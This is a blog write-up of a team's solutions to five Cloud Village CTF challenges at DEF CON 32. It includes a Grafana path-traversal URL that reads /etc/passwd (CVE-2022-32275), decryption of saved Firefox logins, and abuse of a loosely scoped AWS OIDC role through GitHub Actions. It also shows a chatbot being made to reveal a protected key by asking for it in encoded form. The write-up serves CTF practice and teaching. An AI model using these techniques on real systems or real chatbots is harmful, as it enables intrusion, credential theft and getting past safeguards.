Skip to content

WriteUp: Cloud Village CTF 2024

You know we can't resist anything with a scoreboard and related to the cloud... And neither distance nor time zones were going to stop us from giving a shot at the CTF organized by Cloud Village at #DEFCON32 last weekend.

CTF Cloud Village ctf.cloud-village.org

We couldn't dedicate much time to it, but we managed to solve 5 out of the 30 challenges and finish 21st out of 104 teams.

CTF Cloud Village

Here’s a walkthrough of the challenges we solved.

Dracarys - Game Hacking Village Challenge ~ 100

Dracarys challenge

Within the site, there's a link to a zip file:

Dracarys site

In the zip, we find some instructions:

$ ls
Dracarys_Instructions.txt file.enc
private_key.pem

cat Dracarys_Instructions.txt
Output
Welcome Dev, sharing instructions to securely store passwords for our dashboarding tool located at:

http://main-alb-1466274369.us-west-1.elb.amazonaws.com:8088/login/

Algorithm used for encryption of passwords:

# Generate a 2048-bit RSA private key

openssl genpkey -algorithm RSA -out private_key.pem -aes256 -pass pass:ZGVmY29uXzIwMjQ=

Using the above algorithm we have encrypted a file named file.enc, containing the user name and password.

# We have set up database connections:

Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==

References to add database connections in superset:

1. Login with the user name and password
2. Navigate to add a new database connection (Data -> Connect Google Sheets).
3. Fill out the form with the connection string and a name for the database.
4. Once the database is created -> Click on "Connect", then "Query Data in Sql Lab" and wait for a couple of seconds
Then click on cancel and query the data in sql lab
5. Hint : Checkout the "Saved Queries" under "SQL Lab" if the connection string does not work !!!

We have the file.enc, the key, and in the instructions, the password for the key:

  • The key was generated with:
    openssl genpkey -algorithm RSA -out private_key.pem -aes256 -pass pass:ZGVmY29uXzIwMjQ=
    
  • The password is:
    printf "ZGVmY29uXzIwMjQ=" | base64 -d
    defcon_2024
    

With that, we can decrypt the file.enc:

  $ openssl rsautl -decrypt -inkey private_key.pem -in file.enc -out decrypted_file.txt
  Enter pass phrase for private_key.pem:

  $ cat decrypted_file.txt
  username : sf_admin
  password: Lha@jasd982!!

With these credentials, we can access the dashboard mentioned in the instructions, but first, let's take a look at this other piece that has a base64 string:

Superset has database connections for google sheet which may contain important information which can be accessed,
here is a connection string:
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==

It’s a link to a spreadsheet:

$ printf "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMWVYekVTNlhqVWVkdXBIem5IZHVrUUMwbmFQU3h2dEhyd2FjTFNIUGlaYk0vZWRpdD91c3A9c2hhcmluZw==" | base64 -d
https://docs.google.com/spreadsheets/d/1eXzES6XjUedupHznHdukQC0naPSxvtHrwacLSHPiZbM/edit?usp=sharing

In which we directly find the flag:

Docs spreadsheet with the flag


Daenerys ~ 150

Daenerys challenge

The link "to Eldoria" leads to a Grafana login panel:

Grafana login

This challenge was in the "Shadowy Exploits" section, and based on the message "New version available!" it seems it's not the latest version of Grafana.

With a quick search, we found CVE-2022-32275:

Grafana 8.4.3 allows reading files via (for example) a /dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd URI.

https://target/dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd

Let's try... We enter:

http://main-alb-1043141211.us-west-2.elb.amazonaws.com:3000/dashboard/snapshot/%7B%7Bconstructor.constructor'/..%20/..%20/..%20/..%20/..%20/..%20/..%20/..%20/etc/passw

Grafana CVE-2022-32275 It's not very clear, but we get the flag.

Grafana CVE-2022-32275 Opening the SVG in a separate tab allows us to easily copy it.


The Mozilla Matrix ~ 300

The Mozilla Matrix challenge

The challenge starts with a zip file that contains:

$ ls sv7i9wlm.MozillaMatrix
AlternateServices.bin                   key4.db
ExperimentStoreData.json                logins-backup.json
SiteSecurityServiceState.bin            logins.json
addonStartup.json.lz4                   parent.lock
addons.json                             permissions.sqlite
broadcast-listeners.json                pkcs11.txt
cert9.db                                places.sqlite
compatibility.ini                       places.sqlite-shm
containers.json                         places.sqlite-wal
content-prefs.sqlite                    prefs.js
cookies.sqlite                          protections.sqlite
cookies.sqlite-shm                      search.json.mozlz4
cookies.sqlite-wal                      sessionCheckpoints.json
crashes                                 sessionstore-backups
datareporting                           sessionstore.jsonlz4
domain_to_categories.sqlite             settings
domain_to_categories.sqlite-journal     shader-cache
extension-preferences.json              shield-preference-experiments.json
extensions.json                         storage
favicons.sqlite                         storage.sqlite
favicons.sqlite-shm                     targeting.snapshot.json
favicons.sqlite-wal                     times.json
formhistory.sqlite                      webappsstore.sqlite
gmp-gmpopenh264                         webappsstore.sqlite-shm
gmp-widevinecdm                         webappsstore.sqlite-wal
handlers.json                           xulstore.json

Based on the title and the files, it looks like a copy of a Mozilla Firefox configuration.

The logins.json and logins-backup.json files caught our attention, both containing this JSON:

{
"nextId": 6,
"logins": [
  {
    "id": 5,
    "hostname": "https://mozillamatrix.dragons-in-the.cloud",
    "httpRealm": null,
    "formSubmitURL": "",
    "usernameField": "",
    "passwordField": "",
    "encryptedUsername": "MHIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECKURO2ywGqkWBEhCvChZj5Rt65g69RF1Qd/91NHtCtxhR+swJ6KcGBHfGOzXlq+CylSR6pvPo5Se8lpjAArR2yMzxp9siASYrunW1mXabYVPPuA=",
    "encryptedPassword": "MEIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECAtKGEAlTubCBBidkBCkEJ3BX9K+cRTzYhrmBpodGwRefHw=",
    "guid": "{071cdb86-4be5-40b0-9a8e-e9d29f9d2715}",
    "encType": 1,
    "timeCreated": 1719734759912,
    "timeLastUsed": 1719734759912,
    "timePasswordChanged": 1720149199020,
    "timesUsed": 1,
    "syncCounter": 3,
    "everSynced": false,
    "encryptedUnknownFields": null
  }
],
"potentiallyVulnerablePasswords": [],
"dismissedBreachAlertsByLoginGUID": {},
"version": 3
}

Only encryptedUsername, encryptedPassword, timePasswordChanged, and syncCounter change between the files.

Using firefox_decrypt, we extracted the usernames and passwords from both files:

root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:19:12,739 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location

Website:   https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sL'
root@2a8987f98b1c:~/data/firefox_decrypt-main# mv ../sv7i9wlm.MozillaMatrix/logins-backup.json ../sv7i9wlm.MozillaMatrix/logins.json
root@2a8987f98b1c:~/data/firefox_decrypt-main# python test.py ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - profile.ini not found in ../sv7i9wlm.MozillaMatrix/
2024-08-10 15:22:05,876 - WARNING - Continuing and assuming '../sv7i9wlm.MozillaMatrix/' is a profile location

Website:   https://mozillamatrix.dragons-in-the.cloud
Username: 'path: /TlF8KNeH6d username: f34e60ec-bdcd-4821-9f5b-902db18db2b0'
Password: '1UA4>C41eE@M=_4n4U:.sLp'

Using these credentials for basic auth didn’t work, but manually entering the username and password as headers from the browser did:

Firefox hacking Firefox

With curl, it would be:

curl -v 'http://mozillamatrix.dragons-in-the.cloud/TlF8KNeH6d' -X POST -H 'username: f34e60ec-bdcd-4821-9f5b-902db18db2b0' -H 'Password: 1UA4>C41eE@M=_4n4U:.sL'

Output
* Host mozillamatrix.dragons-in-the.cloud:80 was resolved.
* IPv6: (none)
* IPv4: 138.197.232.86
*   Trying 138.197.232.86:80...
* Connected to mozillamatrix.dragons-in-the.cloud (138.197.232.86) port 80
> POST /TlF8KNeH6d HTTP/1.1
> Host: mozillamatrix.dragons-in-the.cloud
> User-Agent: curl/8.6.0
> Accept: */*
> username: f34e60ec-bdcd-4821-9f5b-902db18db2b0
> Password: 1UA4>C41eE@M=_4n4U:.sL
>
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.3 Python/3.10.14
< Date: Sun, 11 Aug 2024 08:29:04 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 39
< Connection: close
<
* Closing connection
FLAG-{0BsgU7Y6wH8khvmJvtUmVF7UVOOksDnk}

IR-Knights Assistant ~ 390

IR-Knights Assistant challenge

We access a chatbot with different "modes," and mode 4 requires extra verification:

IR-Knights Assistant chatbot

We follow its advice and try to get clues from the other modes:

IR-Knights Assistant chatbot

We get the first clue:

The key consists of multiple words combined together, with an underscore "_" separating the words. It does not contain any spaces. The key is case-sensitive, so you'll need to enter it exactly as specified, including the proper capitalization.

IR-Knights Assistant chatbot

Another clue:

The key consists of multiple words combined in a phrase. If separated into individual words, one of the words is a common cybersecurity term referring to a malicious actor. Additionally, the key can potentially be represented in different encoded formats besides plaintext, such as Base64, hexadecimal, reversed, or ROT13 encoding.

Note

This usually works well with chatbots of this type that aren’t well protected and only check that they’re not literally revealing the string of the data they want to protect.

IR-Knights Assistant chatbot

We get the verification code:

printf "d2hvX2lzX1B5cjBzZWM=" | base64 -d
who_is_Pyr0sec%

IR-Knights Assistant chatbot

We use a temporary email from webhook.site, but nothing arrives...

Just in case the site isn’t supported, we ask what types of addresses are supported:

IR-Knights Assistant chatbot

> email addresses or webhook URLs <
Wow!

IR-Knights Assistant chatbot

Now we receive a request with this payload in the webhook:

gallery.ecr.aws/f3t5t7k1/irk-assistant

IR-Knights Assistant ECR Repo

We download the two images from the repo and exported the filesystem:

$ ls -a container/app
IR-Knights.py  requirements.txt

$ ls -a container-v0/app
app  Dockerfile  .env  IR-Knights.py  requirements.txt

And in that .env we have...

$ cat container-v0/app/.env
FLAG='FLAG-{iSj9Ip7WJN1QZKb4GRs1sygWSHHj6Fsu}'%


Warden's Ruse ~ 540

Warden's Ruse challenge

Once again, we are given a zip file. Inside, we find what appears to be an export of a GitHub repo:

$ ls -aR Wardens-Ruse-main
.github                 Warden.png              repo-visibility.png
README.md               main.tf

Wardens-Ruse-main/.github:
workflows

Wardens-Ruse-main/.github/workflows:
apply-prod.yaml

In the README.md, we see that they are setting up a bucket and a website on CloudFront:

TODO: Lock up once Haxisha finishes setting up dc32-wardens-treasure-prod and <https://d2azf0l1i0s26w.cloudfront.net/>.

Taking a look at main.tf, we see that they create a role that doesn't seem to be properly restricted:

resource "aws_iam_role" "warden" {
  name               = "warden-production"  // (1)!
  assume_role_policy = data.aws_iam_policy_document.warden-role.json
}

data "aws_iam_policy_document" "warden-role" {
  statement {
    actions = ["sts:AssumeRoleWithWebIdentity"]

    principals {
      identifiers = [aws_iam_openid_connect_provider.github.arn]
      type        = "Federated"
    }

    condition {
      test     = "StringEquals"
      values   = ["sts.amazonaws.com"]
      variable = "token.actions.githubusercontent.com:aud"
    }

    condition {
      test     = "StringLike"
      values   = ["repo:*/Wardens-Ruse:ref:refs/heads/endlessendurance"]  // (2)!
      variable = "token.actions.githubusercontent.com:sub"
    }

    condition {
      test     = "StringEquals"
      values   = ["private"]
      variable = "token.actions.githubusercontent.com:repository_visibility"
    }
  }
}

  1. The name of the role they are creating, this will be useful later.
  2. This condition allows any user with a private GitHub repo named Wardens-Ruse and using the branch endlessendurance to assume this role using GitHub Actions.

We create a private repo with the code from the zip and try to assume the role that "Haisha" is working on:

- name: Auth to AWS
  uses: aws-actions/configure-aws-credentials@v4
  with:
    aws-region: us-west-2
    role-to-assume: arn:aws:iam::${{ secrets.ACCOUNT_ID }}:role/warden-production # (1)!

  1. This is the role name we saw in main.tf.

But to assume the role, we need the ACCOUNT_ID. We try with the account ID we had from another challenge we couldn't fully solve and...

Github Actions Pipeline Boom! 💥 We try listing the contents of the bucket mentioned in the README with that role.

Nota

Here, we were lucky using the account ID from another challenge; it was actually "hidden" on the CloudFront website.

Cloudfront site
The numbers of the ingredients... 🤯

Github Actions Pipeline Once we confirmed that we had access, we just needed to extract the flag.


And that's all folks! We had a few more challenges that we couldn't finish, and we'll have to wait for the writeups to find out what we were missing.

If you have any questions about any of the steps or comments, don't hesitate to write to us.

We hope that reading about how these challenges work will encourage you to participate in future CTFs; it's a fun way to practice what you already know and learn a few more things along the way. (Be careful, they're addictive!)

Saludos, and may the force be with you.